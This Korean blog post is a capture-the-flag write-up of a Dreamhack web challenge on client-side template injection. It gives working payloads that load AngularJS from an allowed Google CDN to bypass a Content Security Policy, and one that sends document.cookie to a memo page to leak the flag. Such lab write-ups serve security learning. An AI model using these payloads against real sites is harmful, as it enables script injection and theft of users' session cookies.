김승현
[Dreamhack : Web] Client Side Template Injection 본문
문제


풀이

접속하면 이렇게 vuln, memo, flag가 뜬다. 지금까지 풀었던 문제들과 여기선 차이가 그렇게 크지 않다.
소스코드를 확인해보자.

요청을 보내고 브라우저에 응답하기 전 실행되는 내용이다. 잘 보면 script-src에
script-src 'nonce-{nonce}' 'unsafe-eval' https://ajax.googleapis.com
이렇게 적혀 있어서 그냥 간단하게 <script>alert(1);</script>와 같은 방식으론 할 수 없을 것 같다. 잘보면 eval로 ajax.gooleapis가 있는데 이건 앞선 exploit tech 내용에서 이를 활용하는 방법이 나와 있었다.
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script><html ng-app>{{ constructor.constructor("[사용할 스크립트]")() }}</html>
위의 코드로 스크립트를 입력할 수 있다.

위의 코드를 이용해서 vuln page에 xss를 성공시켰다. 이를 활용해서 memo 페이지에 flag를 출력시켜보자.
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script><html ng-app>{{ constructor.constructor("location.href='/memo?memo='+document.cookie")() }}</html>
이렇게 작성해 봤고 flag에 그대로 파라미터로 입력해보자.


짠
'Web > Dreamhack : Web' 카테고리의 다른 글
[Dreamhack : Web] Relative Path Overwrite (0) | 2023.03.04 |
---|---|
[Dreamhack : Web] CSS Injection (0) | 2023.03.03 |
[Dreamhack : Web] CSRF advanced (0) | 2023.03.03 |
[Dreamhack : Web] SCP Bypass advanced (0) | 2023.03.03 |
[Dreamhack : Web] SCP Bypass (0) | 2023.03.01 |